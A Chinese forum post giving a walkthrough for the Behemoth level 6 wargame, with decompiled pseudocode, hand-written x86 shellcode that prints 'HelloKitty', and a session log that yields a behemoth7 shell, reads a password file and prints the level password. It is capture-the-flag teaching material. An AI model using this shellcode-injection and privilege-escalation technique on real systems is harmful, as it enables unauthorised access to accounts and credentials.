首页
社区
课程
招聘
[原创]WarGame-behemoth6 解题思路
2019-9-22 16:07 7424

[原创]WarGame-behemoth6 解题思路

2019-9-22 16:07
7424
Behemoth6伪代码如下
int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *ptr; // ST14_4@4
  __uid_t v4; // ebx@5
  __uid_t v5; // eax@5
  FILE *stream; // [sp+4h] [bp-Ch]@1

  stream = popen("/behemoth/behemoth6_reader", "r");
  if ( !stream )
  {
    puts("Failed to create pipe.");
    exit(0);
  }
  ptr = malloc(0xAu);
  fread(ptr, 0xAu, 1u, stream);
  pclose(stream);
  if ( !strcmp((const char *)ptr, "HelloKitty") )
  {
    puts("Correct.");
    v4 = geteuid();
    v5 = geteuid();
    setreuid(v5, v4);
    execl("/bin/sh", "sh", 0);
  }
  else
  {
    puts("Incorrect output.");
  }
  return 0;
}

Behemoth6_reader伪代码如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *ptr; // [sp+10h] [bp-18h]@3
  __int32 size; // [sp+14h] [bp-14h]@3
  FILE *stream; // [sp+18h] [bp-10h]@1
  __int32 i; // [sp+1Ch] [bp-Ch]@3

  stream = fopen("shellcode.txt", "r");
  if ( stream )
  {
    fseek(stream, 0, 2);
    size = ftell(stream);
    rewind(stream);
    ptr = malloc(size);
    fread(ptr, size, 1u, stream);
    fclose(stream);
    for ( i = 0; i < size; ++i )
    {
      if ( *((_BYTE *)ptr + i) == 11 )
      {
        puts("Write your own shellcode.");
        exit(1);
      }
    }
    ((void (*)(void))ptr)();
  }
  else
  {
    puts("Couldn't open shellcode.txt!");
  }
  return 0;
}

这次的游戏有两个文件,behemoth6会执行behemoth6_reader,在reader中之所以判断0xb是因为这次的挑战并不想直接通过调用execve(/bin/sh)的方式完成,所以需要手动写一个能够打印’HelloKitty’的shellcode,代码如下

Explanation:
	push 0x4
    pop eax
    cdq
	mov ebx,1
	push 0x00007974
	push 0x74694b6f
	push 0x6c6c6548
	mov ecx,esp
	mov edx,12 
 	int 0x80 
	push 0x1
	pop eax
	mov ebx, 1
	int 0x80

这里相当于调用了两个syscall,至于如何传参我已经在番外篇讲过了:

1、  sys_write(int fd, const void *buf, size_t count);

fd:这里用stdout也就是1

*buf:这里是需要打印的数据

count:这里是需要打印数据的长度

2、  sys_exit(int status);

status:不知道啥作用,我传的是exit(1)

这里还需要注意reader打开的是当前的工作目录,并不是’.’目录所以只需要在/tmp文件夹中创建自己的工作目录然后把shellcode.txt放进去,然后直接启动behemoth6就可以了, 执行结果如下

behemoth6@behemoth:/tmp/pure/gavin$ /behemoth/behemoth6
Correct.
$ whoami
behemoth7
$ cat /etc/behemoth_pass/behemoth7
baquoxuafo
$

小结
思而不学则殆,还希望有些人不要老是说‘大佬带带我’这种话,然后并没有什么实际的行动(我以前就是这种人,浪费了很多时间),不单步调试什么也看不到!!
附件是可执行文件

阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回